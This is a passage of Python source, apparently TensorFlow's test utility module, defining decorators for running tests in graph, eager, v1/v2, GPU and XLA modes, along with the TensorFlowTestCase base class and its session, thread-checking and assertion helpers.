isinstance(combination, OrderedDict) name = "".join([ "_{}_{}".format("".join(filter(str.isalnum, key)), "".join(filter(str.isalnum, str(value)))) for key, value in combination.items() ]) named_combinations.append( OrderedDict( list(combination.items()) + [("testcase_name", "_test{}".format(name))])) return named_combinations def run_all_in_graph_and_eager_modes(cls): """Execute all test methods in the given class with and without eager.""" base_decorator = run_in_graph_and_eager_modes for name in dir(cls): if (not name.startswith(unittest.TestLoader.testMethodPrefix) or name.startswith("testSkipEager") or name.startswith("test_skip_eager") or name == "test_session"): continue value = getattr(cls, name, None) if callable(value): setattr(cls, name, base_decorator(value)) return cls def build_as_function_and_v1_graph(func=None): """Run a test case in v1 graph mode and inside tf.function in eager mode. WARNING: This decorator can only be used in test cases that statically checks generated graph. Attempting to evaluate graph or function results via. session.run() or self.evaluate() will fail. WARNING: This decorator can only be used for test cases that inherit from absl.testing.parameterized.TestCase. Args: func: Test case function to be decorated. Returns: Decorated test case function. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError( "`run_in_graph_mode_and_function` only supports test methods.") @parameterized.named_parameters(("_v1_graph", "v1_graph"), ("_function", "function")) @functools.wraps(f) def decorated(self, run_mode, *args, **kwargs): if run_mode == "v1_graph": with ops.Graph().as_default(): f(self, *args, **kwargs) elif run_mode == "function": @def_function.function def function_in_eager(): f(self, *args, **kwargs) # Create a new graph for the eagerly executed version of this test for # better isolation. graph_for_eager_test = ops.Graph() with graph_for_eager_test.as_default(), context.eager_mode(): function_in_eager() ops.dismantle_graph(graph_for_eager_test) else: return ValueError("Unknown run mode %s" % run_mode) return decorated if func is not None: return decorator(func) return decorator def eager_lazy_remote_copy_on_and_off(f): """Execute the test method w/o lazy tensor copy for function remote inputs.""" @parameterized.named_parameters([("WithLazyRemoteCopy", True), ("", False)]) @functools.wraps(f) def decorator(self, lazily_remote_copy, *args, **kwargs): if lazily_remote_copy: context.context().lazy_remote_inputs_copy = True else: context.context().lazy_remote_inputs_copy = False f(self, *args, **kwargs) return decorator def run_in_graph_and_eager_modes(func=None, config=None, use_gpu=True, reset_test=True, assert_no_eager_garbage=False): """Execute the decorated test with and without enabling eager execution. This function returns a decorator intended to be applied to test methods in a `tf.test.TestCase` class. Doing so will cause the contents of the test method to be executed twice - once normally, and once with eager execution enabled. This allows unittests to confirm the equivalence between eager and graph execution (see `tf.compat.v1.enable_eager_execution`). For example, consider the following unittest: ```python class MyTests(tf.test.TestCase): @run_in_graph_and_eager_modes def test_foo(self): x = tf.constant([1, 2]) y = tf.constant([3, 4]) z = tf.add(x, y) self.assertAllEqual([4, 6], self.evaluate(z)) if __name__ == "__main__": tf.test.main() ``` This test validates that `tf.add()` has the same behavior when computed with eager execution enabled as it does when constructing a TensorFlow graph and executing the `z` tensor in a session. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. config: An optional config_pb2.ConfigProto to use to configure the session when executing graphs. use_gpu: If True, attempt to run as many operations as possible on GPU. reset_test: If True, tearDown and SetUp the test case between the two executions of the test (once with and once without eager execution). assert_no_eager_garbage: If True, sets DEBUG_SAVEALL on the garbage collector and asserts that no extra garbage has been created when running the test with eager execution enabled. This will fail if there are reference cycles (e.g. a = []; a.append(a)). Off by default because some tests may create garbage for legitimate reasons (e.g. they define a class which inherits from `object`), and because DEBUG_SAVEALL is sticky in some Python interpreters (meaning that tests which rely on objects being collected elsewhere in the unit test file will not work). Additionally, checks that nothing still has a reference to Tensors that the test allocated. Returns: Returns a decorator that will run the decorated test method twice: once by constructing and executing a graph in a session and once with eager execution enabled. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError( "`run_in_graph_and_eager_modes` only supports test methods. " "Did you mean to use `run_all_in_graph_and_eager_modes`?") def decorated(self, *args, **kwargs): try: with context.graph_mode(): with self.test_session(use_gpu=use_gpu, config=config): f(self, *args, **kwargs) except unittest.case.SkipTest: pass def run_eagerly(self, **kwargs): if not use_gpu: with ops.device("/device:CPU:0"): f(self, *args, **kwargs) else: f(self, *args, **kwargs) if assert_no_eager_garbage: ops.reset_default_graph() run_eagerly = assert_no_new_tensors( assert_no_garbage_created(run_eagerly)) if reset_test: # This decorator runs the wrapped test twice. # Reset the test environment between runs. self.tearDown() self._tempdir = None # Create a new graph for the eagerly executed version of this test for # better isolation. graph_for_eager_test = ops.Graph() with graph_for_eager_test.as_default(), context.eager_mode(): if reset_test: self.setUp() run_eagerly(self, **kwargs) ops.dismantle_graph(graph_for_eager_test) return decorated if func is not None: return decorator(func) return decorator def py_func_if_in_function(f): def decorated(*args, **kwds): if not ops.get_default_graph()._building_function: return f(*args, **kwds) tensor_args = [] tensor_indices = [] for i, arg in enumerate(args): if isinstance(arg, (ops.Tensor, variables.Variable)): tensor_args.append(arg) tensor_indices.append(i) def inner_f(*inner_tensor_args): my_args = list(args) for i, n in zip(tensor_indices, inner_tensor_args): my_args[i] = n return f(*my_args, **kwds) return script_ops.py_func(inner_f, tensor_args, []) return tf_decorator.make_decorator(f, decorated) def also_run_as_tf_function(f): """Runs the decorated test twice--once as is, once inside a tf.function. This allows you to run a test both in eager execution and inside a tf.function, exercising the two execution modes supported in tf 2.0. The test assertions are automatically done inside tf.py_funcs, and tf.function ensures that they run in the proper order and with the proper side effects. Currently variable creation is not supported in tests annotated with this decorator since it's tricky to ensure the variable doesn't get repeatedly created when retracing the tf.function. Args: f: the test method to be decorated Returns: The decorated test method, which will run both in eager and inside a tf.function. """ def decorated(*args, **kwds): def bound_f(): f(*args, **kwds) with context.eager_mode(): # Running in eager mode bound_f() # Running as TF function # TODO(b/121143941): Remove the autograph override. def_function.function(bound_f, autograph=False)() return decorated def deprecated_graph_mode_only(func=None): """Execute the decorated test in graph mode. This function returns a decorator intended to be applied to tests that are not compatible with eager mode. When this decorator is applied, the test body will be run in an environment where API calls construct graphs instead of executing eagerly. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will run the decorated test method in graph mode. """ def decorator(f): if tf_inspect.isclass(f): setup = f.__dict__.get("setUp") if setup is not None: setattr(f, "setUp", decorator(setup)) for name, value in f.__dict__.copy().items(): if (callable(value) and name.startswith(unittest.TestLoader.testMethodPrefix)): setattr(f, name, decorator(value)) return f def decorated(self, *args, **kwargs): if context.executing_eagerly(): with context.graph_mode(): return f(self, *args, **kwargs) else: return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator run_deprecated_v1 = deprecated_graph_mode_only def run_all_in_deprecated_graph_mode_only(cls): """Execute all tests in a class in graph mode.""" base_decorator = deprecated_graph_mode_only for name in dir(cls): if (not name.startswith(unittest.TestLoader.testMethodPrefix) or name == "test_session"): continue value = getattr(cls, name, None) if callable(value): setattr(cls, name, base_decorator(value)) return cls def run_v1_only(reason, func=None): """Execute the decorated test only if running in v1 mode. This function is intended to be applied to tests that exercise v1 only functionality. If the test is run in v2 mode it will simply be skipped. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: reason: string giving a reason for limiting the test to v1 only. func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ if not isinstance(reason, str): raise ValueError("'reason' should be string, got {}".format(type(reason))) def decorator(f): if tf_inspect.isclass(f): # To skip an entire test suite class, we only decorate the setUp method # to skip all tests. There are cases when setUp is not defined (not # overridden in subclasses of TestCase, so not available in f.__dict__ # below). For those cases, we walk the method resolution order list and # pick the first setUp method we find (usually this should be the one in # the parent class since that's the TestCase class). for cls in type.mro(f): setup = cls.__dict__.get("setUp") if setup is not None: setattr(f, "setUp", decorator(setup)) break return f else: # If f is just a function, just create a decorator for it and return it def decorated(self, *args, **kwargs): if tf2.enabled(): self.skipTest(reason) return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_v2_only(func=None): """Execute the decorated test only if running in v2 mode. This function is intended to be applied to tests that exercise v2 only functionality. If the test is run in v1 mode it will simply be skipped. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_v2_only` only supports test methods.") def decorated(self, *args, **kwargs): if not tf2.enabled(): self.skipTest("Test is only compatible with v2") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_gpu_only(func=None): """Execute the decorated test only if a GPU is available. This function is intended to be applied to tests that require the presence of a GPU. If a GPU is absent, it will simply be skipped. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_gpu_only` only supports test methods.") def decorated(self, *args, **kwargs): if not is_gpu_available(): self.skipTest("Test requires GPU") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_cuda_only(func=None): """Execute the decorated test only if a GPU is available. This function is intended to be applied to tests that require the precense of a CUDA GPU. If a CUDA GPU is absent, it will simply be skipped. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_cuda_only` only supports test methods.") def decorated(self, *args, **kwargs): if not is_gpu_available(cuda_only=True): self.skipTest("Test requires CUDA GPU") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def with_forward_compatibility_horizons(*horizons): """Executes the decorated test with the specified forward-compat horizons. Args: *horizons: A list of (year, month, day) tuples. If the list includes `None`, then the test will also be run with no forward-compatibility horizon set. Returns: A decorator that will execute the test with the specified horizons. """ if not horizons: raise ValueError("Expected at least one horizon.") for horizon in horizons: if not ((horizon is None) or (len(horizon) == 3 and all(isinstance(x, int) for x in horizon))): raise ValueError("Bad horizon value: %r" % horizon) def decorator(f): if tf_inspect.isclass(f): raise ValueError("`with_forward_compatibility_horizons` only " "supports test methods.") def decorated(self, *args, **kwargs): for horizon in horizons: if horizon is None: f(self, *args, **kwargs) else: (year, month, day) = horizon with forward_compatibility_horizon(year, month, day): f(self, *args, **kwargs) return decorated return decorator @deprecation.deprecated(None, "Use `tf.config.list_physical_devices('GPU')` instead.") @tf_export("test.is_gpu_available") def is_gpu_available(cuda_only=False, min_cuda_compute_capability=None): """Returns whether TensorFlow can access a GPU. Warning: if a non-GPU version of the package is installed, the function would also return False. Use `tf.test.is_built_with_cuda` to validate if TensorFlow was build with CUDA support. Args: cuda_only: limit the search to CUDA GPUs. min_cuda_compute_capability: a (major,minor) pair that indicates the minimum CUDA compute capability required, or None if no requirement. Note that the keyword arg name "cuda_only" is misleading (since routine will return true when a GPU device is available irrespective of whether TF was built with CUDA support or ROCm support. However no changes here because ++ Changing the name "cuda_only" to something more generic would break backward compatibility ++ Adding an equivalent "rocm_only" would require the implementation check the build type. This in turn would require doing the same for CUDA and thus potentially break backward compatibility ++ Adding a new "cuda_or_rocm_only" would not break backward compatibility, but would require most (if not all) callers to update the call to use "cuda_or_rocm_only" instead of "cuda_only" Returns: True if a GPU device of the requested kind is available. """ def compute_capability_from_device_desc(device_desc): # TODO(jingyue): The device description generator has to be in sync with # this file. Another option is to put compute capability in # DeviceAttributes, but I avoided that to keep DeviceAttributes # target-independent. Reconsider this option when we have more things like # this to keep in sync. # LINT.IfChange match = re.search(r"compute capability: (\d+)\.(\d+)", device_desc) # LINT.ThenChange(//tensorflow/core/\ # common_runtime/gpu/gpu_device.cc) if not match: return 0, 0 return int(match.group(1)), int(match.group(2)) try: for local_device in device_lib.list_local_devices(): if local_device.device_type == "GPU": if (min_cuda_compute_capability is None or compute_capability_from_device_desc( local_device.physical_device_desc) >= min_cuda_compute_capability): return True if local_device.device_type == "SYCL" and not cuda_only: return True return False except errors_impl.NotFoundError as e: if not all(x in str(e) for x in ["CUDA", "not find"]): raise e else: logging.error(str(e)) return False @contextlib.contextmanager def device(use_gpu): """Uses gpu when requested and available.""" if use_gpu and is_gpu_available(): dev = "/device:GPU:0" else: dev = "/device:CPU:0" with ops.device(dev): yield @contextlib.contextmanager def use_gpu(): """Uses gpu when requested and available.""" with device(use_gpu=True): yield @contextlib.contextmanager def force_gpu(): """Force the gpu to be used.""" with ops.device("/device:GPU:0"): yield @contextlib.contextmanager def force_cpu(): """Force the cpu to be used.""" with ops.device("/device:CPU:0"): yield class CapturedWrites(object): """A utility class to load the captured writes made to a stream.""" def __init__(self, capture_location): self.capture_location = capture_location def contents(self): """Get the captured writes as a single string.""" with open(self.capture_location) as tmp_file: output_data = "".join(tmp_file.readlines()) return output_data class FakeEagerSession(object): """Fake session so tests that conditionally use placeholders can use eager. There are a number of tests that conditionally use placeholders for shape inference. The pattern is demonstrated here: ```python with self.cached_session() as sess: if static_shape: y = math_ops.matmul(x, ...) feed_dict = {} else: x_ph = array_ops.placeholder(...) y = math_ops.matmul(x_ph, ...) feed_dict = {x_ph: x} val = sess.run(y, feed_dict=feed_dict) ``` Since the feed_dict is empty when not using placeholders we should be able to call self.evaluate(), however this requires rewriting the test case. This class should be considered a stop-gap solution to get tests running with eager with minimal changes to the actual test. """ def __init__(self, test_case): self._test_case = test_case def run(self, fetches, *args, **kwargs): """Evalaute `fetches`. Fail if additional args are specified. Args: fetches: A Tensor or a nested list/tuple of Tensors. *args: Positional arguments **kwargs: Keyword arguments Raises: RuntimeError: If args or kwargs are specified. Returns: Tensors as numpy values. """ feed_dict = kwargs.pop("feed_dict", {}) if feed_dict: raise RuntimeError( "feed_dict is not supported when eager execution is enabled " "(in this case, sess.run(t) is shorthand for t.numpy()") if args or kwargs: raise RuntimeError( "Optional args are not supported when eager execution is enabled " "(in this case, sess.run(t) is shorthand for t.numpy()") return self._test_case.evaluate(fetches) class ErrorLoggingSession(session.Session): """Wrapper around a Session that logs errors in run().""" def run(self, *args, **kwargs): try: return super(ErrorLoggingSession, self).run(*args, **kwargs) except Exception as e: # pylint: disable=broad-except # Note: disable the logging for OutOfRangeError, which makes the output # of tf.data tests hard to read, because OutOfRangeError is used as the # signal completion if not isinstance(e, errors.OutOfRangeError): logging.error(str(e)) raise def use_deterministic_cudnn(func): """Disable autotuning during the call to this function. Some tests want to base assertions on a graph being isomorphic with a copy. To ensure this, this decorator disables autotuning. Args: func: Function to run with CUDNN autotuning turned off. Returns: Decorated function. """ def decorator(f): def decorated(self, *args, **kwargs): original_var = os.environ.get("TF_CUDNN_DETERMINISTIC", "") os.environ["TF_CUDNN_DETERMINISTIC"] = "true" result = f(self, *args, **kwargs) os.environ["TF_CUDNN_DETERMINISTIC"] = original_var return result return decorated if func is not None: return decorator(func) return decorator # The description is just for documentation purposes. def enable_tf_xla_constant_folding(description): if not isinstance(description, str): raise ValueError("'description' should be string, got {}".format( type(description))) def enable_tf_xla_constant_folding_impl(func): """Enable constant folding during the call to this function. Some tests fail without constant folding. Args: func: Function to run with constant folding turned on. Returns: Decorated function. """ def decorator(f): def decorated(self, *args, **kwargs): original_var = pywrap_tensorflow.TF_GetXlaConstantFoldingDisabled() pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(False) result = f(self, *args, **kwargs) pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(original_var) return result return decorated if func is not None: return decorator(func) return decorator return enable_tf_xla_constant_folding_impl # The description is just for documentation purposes. def disable_xla(description): def disable_xla_impl(func): """Execute the test method only if xla is not enabled.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): return else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return disable_xla_impl def for_all_test_methods(decorator, *args, **kwargs): """Generate class-level decorator from given method-level decorator. It is expected for the given decorator to take some arguments and return a method that is then called on the test method to produce a decorated method. Args: decorator: The decorator to apply. *args: Positional arguments **kwargs: Keyword arguments Returns: Function that will decorate a given classes test methods with the decorator. """ def all_test_methods_impl(cls): """Apply decorator to all test methods in class.""" for name in dir(cls): value = getattr(cls, name) if callable(value) and name.startswith( "test") and (name != "test_session"): setattr(cls, name, decorator(*args, **kwargs)(value)) return cls return all_test_methods_impl # The description is just for documentation purposes. def no_xla_auto_jit(description): # pylint: disable=unused-argument def no_xla_auto_jit_impl(func): """This test is not intended to be run with XLA auto jit enabled.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): # Skip test if using XLA is forced. return else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return no_xla_auto_jit_impl # The description is just for documentation purposes. def xla_allow_fallback(description): # pylint: disable=unused-argument def xla_allow_fallback_impl(func): """Allow fallback to TF even though testing xla.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): # Update the global XLABuildOpsPassFlags to enable lazy compilation, # which allows the compiler to fall back to TF classic. Remember the # old value so that we can reset it. old_value = pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(True) result = func(self, *args, **kwargs) pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(old_value) return result else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return xla_allow_fallback_impl class EagerSessionWarner(object): def __getattr__(self, attr): raise AttributeError( "Trying to access properties or call methods on the result of " "self.session(), self.cached_session(), etc while eager execution " "is enabled. If you're porting this test case to TF 2.0, either " "adapt the test to work with eager execution or insert a call to " "tf.disable_eager_execution() in the main() function of this test " "file.") @tf_export("test.TestCase") class TensorFlowTestCase(googletest.TestCase): """Base class for tests that need to test TensorFlow.""" def __init__(self, methodName="runTest"): # pylint: disable=invalid-name super(TensorFlowTestCase, self).__init__(methodName) if is_xla_enabled(): pywrap_tensorflow.TF_SetXlaAutoJitMode("2") pywrap_tensorflow.TF_SetXlaMinClusterSize(1) pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(False) pywrap_tensorflow.TF_SetTfXlaCpuGlobalJit(True) # Constant folding secretly runs code on TF:Classic CPU, so we also # disable it here. pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(True) self._threads = [] self._tempdir = None self._cached_session = None def setUp(self): self._ClearCachedSession() random.seed(random_seed.DEFAULT_GRAPH_SEED) np.random.seed(random_seed.DEFAULT_GRAPH_SEED) # Note: The following line is necessary because some test methods may error # out from within nested graph contexts (e.g., via assertRaises and # assertRaisesRegexp), which may leave ops._default_graph_stack non-empty # under certain versions of Python. That would cause # ops.reset_default_graph() to throw an exception if the stack were not # cleared first. ops._default_graph_stack.reset() # pylint: disable=protected-access ops.reset_default_graph() random_seed.set_random_seed(random_seed.DEFAULT_GRAPH_SEED) # Reset summary writer in case another test used set_as_default() with their # summary writer. summary_state = summary_ops_v2._summary_state # pylint: disable=protected-access summary_state.writer = None # Avoiding calling setUp() for the poorly named test_session method. if self.id().endswith(".test_session"): self.skipTest("Not a test.") def tearDown(self): for thread in self._threads: thread.check_termination() self._ClearCachedSession() def _ClearCachedSession(self): if self._cached_session is not None: self._cached_session.close() self._cached_session = None def get_temp_dir(self): """Returns a unique temporary directory for the test to use. If you call this method multiple times during in a test, it will return the same folder. However, across different runs the directories will be different. This will ensure that across different runs tests will not be able to pollute each others environment. If you need multiple unique directories within a single test, you should use tempfile.mkdtemp as follows: tempfile.mkdtemp(dir=self.get_temp_dir()): Returns: string, the path to the unique temporary directory created for this test. """ if not self._tempdir: self._tempdir = tempfile.mkdtemp(dir=googletest.GetTempDir()) return self._tempdir @contextlib.contextmanager def captureWritesToStream(self, stream): """A context manager that captures the writes to a given stream. This context manager captures all writes to a given stream inside of a `CapturedWrites` object. When this context manager is created, it yields the `CapturedWrites` object. The captured contents can be accessed by calling `.contents()` on the `CapturedWrites`. For this function to work, the stream must have a file descriptor that can be modified using `os.dup` and `os.dup2`, and the stream must support a `.flush()` method. The default python sys.stdout and sys.stderr are examples of this. Note that this does not work in Colab or Jupyter notebooks, because those use alternate stdout streams. Example: ```python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): input = [1.0, 2.0, 3.0, 4.0, 5.0] with self.captureWritesToStream(sys.stdout) as captured: result = MyOperator(input).eval() self.assertStartsWith(captured.contents(), "This was printed.") ``` Args: stream: The stream whose writes should be captured. This stream must have a file descriptor, support writing via using that file descriptor, and must have a `.flush()` method. Yields: A `CapturedWrites` object that contains all writes to the specified stream made during this context. """ stream.flush() fd = stream.fileno() tmp_file_path = tempfile.mktemp(dir=self.get_temp_dir()) tmp_file = open(tmp_file_path, "w") orig_fd = os.dup(fd) os.dup2(tmp_file.fileno(), fd) try: yield CapturedWrites(tmp_file_path) finally: tmp_file.close() os.dup2(orig_fd, fd) def _AssertProtoEquals(self, a, b, msg=None): """Asserts that a and b are the same proto. Uses ProtoEq() first, as it returns correct results for floating point attributes, and then use assertProtoEqual() in case of failure as it provides good error messages. Args: a: a proto. b: another proto. msg: Optional message to report on failure. """ if not compare.ProtoEq(a, b): compare.assertProtoEqual(self, a, b, normalize_numbers=True, msg=msg) def assertProtoEquals(self, expected_message_maybe_ascii, message, msg=None): """Asserts that message is same as parsed expected_message_ascii. Creates another prototype of message, reads the ascii message into it and then compares them using self._AssertProtoEqual(). Args: expected_message_maybe_ascii: proto message in original or ascii form. message: the message to validate. msg: Optional message to report on failure. """ msg = msg if msg else "" if isinstance(expected_message_maybe_ascii, type(message)): expected_message = expected_message_maybe_ascii self._AssertProtoEquals(expected_message, message) elif isinstance(expected_message_maybe_ascii, str): expected_message = type(message)() text_format.Merge( expected_message_maybe_ascii, expected_message, descriptor_pool=descriptor_pool.Default()) self._AssertProtoEquals(expected_message, message, msg=msg) else: assert False, ("Can't compare protos of type %s and %s. %s" % (type(expected_message_maybe_ascii), type(message), msg)) def assertProtoEqualsVersion( self, expected, actual, producer=versions.GRAPH_DEF_VERSION, min_consumer=versions.GRAPH_DEF_VERSION_MIN_CONSUMER, msg=None): expected = "versions { producer: %d min_consumer: %d };\n%s" % ( producer, min_consumer, expected) self.assertProtoEquals(expected, actual, msg=msg) def assertStartsWith(self, actual, expected_start, msg=None): """Assert that actual.startswith(expected_start) is True. Args: actual: str expected_start: str msg: Optional message to report on failure. """ if not actual.startswith(expected_start): fail_msg = "%r does not start with %r" % (actual, expected_start) fail_msg += " : %r" % (msg) if msg else "" self.fail(fail_msg) def _eval_tensor(self, tensor): if tensor is None: return None elif callable(tensor): return self._eval_helper(tensor()) else: try: if sparse_tensor.is_sparse(tensor): return sparse_tensor.SparseTensorValue(tensor.indices.numpy(), tensor.values.numpy(), tensor.dense_shape.numpy()) elif ragged_tensor.is_ragged(tensor): return ragged_tensor_value.RaggedTensorValue( self._eval_tensor(tensor.values), self._eval_tensor(tensor.row_splits)) elif isinstance(tensor, ops.IndexedSlices): return ops.IndexedSlicesValue( values=tensor.values.numpy(), indices=tensor.indices.numpy(), dense_shape=tensor.dense_shape.numpy()) return tensor.numpy() except AttributeError as e: six.raise_from(ValueError("Unsupported type %s." % type(tensor)), e) def _eval_helper(self, tensors): if tensors is None: return None return nest.map_structure(self._eval_tensor, tensors) def evaluate(self, tensors): """Evaluates tensors and returns numpy values. Args: tensors: A Tensor or a nested list/tuple of Tensors. Returns: tensors numpy values. """ if context.executing_eagerly(): return self._eval_helper(tensors) else: sess = ops.get_default_session() if sess is None: with self.test_session() as sess: return sess.run(tensors) else: return sess.run(tensors) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. Note that this will set this session and the graph as global defaults. Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/device:GPU:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: ``` python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.session(use_gpu=True): valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() ``` Args: graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. Yields: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if context.executing_eagerly(): yield EagerSessionWarner() else: with self._create_session(graph, config, force_gpu) as sess: with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu): yield sess @contextlib.contextmanager def cached_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. This method behaves differently than self.session(): for performance reasons `cached_session` will by default reuse the same session within the same test. The session returned by this function will only be closed at the end of the test (in the TearDown function). Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/device:GPU:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: ```python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.cached_session(use_gpu=True) as sess: valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() ``` Args: graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. Yields: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if context.executing_eagerly(): yield FakeEagerSession(self) else: sess = self._get_cached_session( graph, config, force_gpu, crash_if_inconsistent_args=True) with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu) as cached: yield cached @contextlib.contextmanager @deprecation.deprecated(None, "Use `self.session()` or " "`self.cached_session()` instead.") def test_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Use cached_session instead.""" if self.id().endswith(".test_session"): self.skipTest( "Tests that have the name \"test_session\" are automatically skipped " "by TensorFlow test fixture, as the name is reserved for creating " "sessions within tests. Please rename your test if you have a test " "with this name.") if context.executing_eagerly(): yield None else: if graph is None: sess = self._get_cached_session( graph, config, force_gpu, crash_if_inconsistent_args=False) with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu) as cached: yield cached else: with self.session(graph, config, use_gpu, force_gpu) as sess: yield sess # pylint: enable=g-doc-return-or-yield class _CheckedThread(object): """A wrapper class for Thread that asserts successful completion. This class should be created using the TensorFlowTestCase.checkedThread() method. """ def __init__(self, testcase, target, args=None, kwargs=None): """Constructs a new instance of _CheckedThread. Args: testcase: The TensorFlowTestCase for which this thread is being created. target: A callable object representing the code to be executed in the thread. args: A tuple of positional arguments that will be passed to target. kwargs: A dictionary of keyword arguments that will be passed to target. """ self._testcase = testcase self._target = target self._args = () if args is None else args self._kwargs = {} if kwargs is None else kwargs self._thread = threading.Thread(target=self._protected_run) self._exception = None self._is_thread_joined = False def _protected_run(self): """Target for the wrapper thread. Sets self._exception on failure.""" try: self._target(*self._args, **self._kwargs) except Exception as e: # pylint: disable=broad-except self._exception = e def start(self): """Starts the thread's activity. This must be called at most once per _CheckedThread object. It arranges for the object's target to be invoked in a separate thread of control. """ self._thread.start() def join(self): """Blocks until the thread terminates. Raises: self._testcase.failureException: If the thread terminates with due to an exception. """ self._is_thread_joined = True self._thread.join() if self._exception is not None: self._testcase.fail("Error in checkedThread: %s" % str(self._exception)) def is_alive(self): """Returns whether the thread is alive. This method returns True just before the run() method starts until just after the run() method terminates. Returns: True if the thread is alive, otherwise False. """ return self._thread.is_alive() def check_termination(self): """Returns whether the checked thread was properly used and did terminate. Every checked thread should be "join"ed after starting, and before the test tears down. If it is not joined, it is possible the thread will hang and cause flaky failures in tests. Raises: self._testcase.failureException: If check_termination was called before thread was joined. RuntimeError: If the thread is not terminated. This means thread was not joined with the main thread. """ if self._is_thread_joined: if self.is_alive(): raise RuntimeError( "Thread was not joined with main thread, and is still running " "when the test finished.") else: self._testcase.fail("A checked thread was not joined.") def checkedThread(self, target, args=None, kwargs=None): """Returns a Thread wrapper that asserts 'target' completes successfully. This method should be used to create all threads in test cases, as otherwise there is a risk that a thread will silently fail, and/or assertions made in the thread will not be respected. Args: target: A callable object to be executed in the thread. args: The argument tuple for the target invocation. Defaults to (). kwargs: A dictionary of keyword arguments for the target invocation. Defaults to {}. Returns: A wrapper for threading.Thread that supports start() and join() methods. """ ret = TensorFlowTestCase._CheckedThread(self, target, args, kwargs) self._threads.append(ret) return ret # pylint: enable=invalid-name @py_func_if_in_function def assertNear(self, f1, f2, err, msg=None): """Asserts that two floats are near each other. Checks that |f1 - f2| < err and asserts a test failure if not. Args: f1: A float value. f2: A float value. err: A float value. msg: An optional string message to append to the failure message. """ # f1 == f2 is needed here as we might have: f1, f2 = inf, inf self.assertTrue( f1 == f2 or math.fabs(f1 - f2) <= err, "%f != %f +/- %f%s" % (f1, f2, err, " 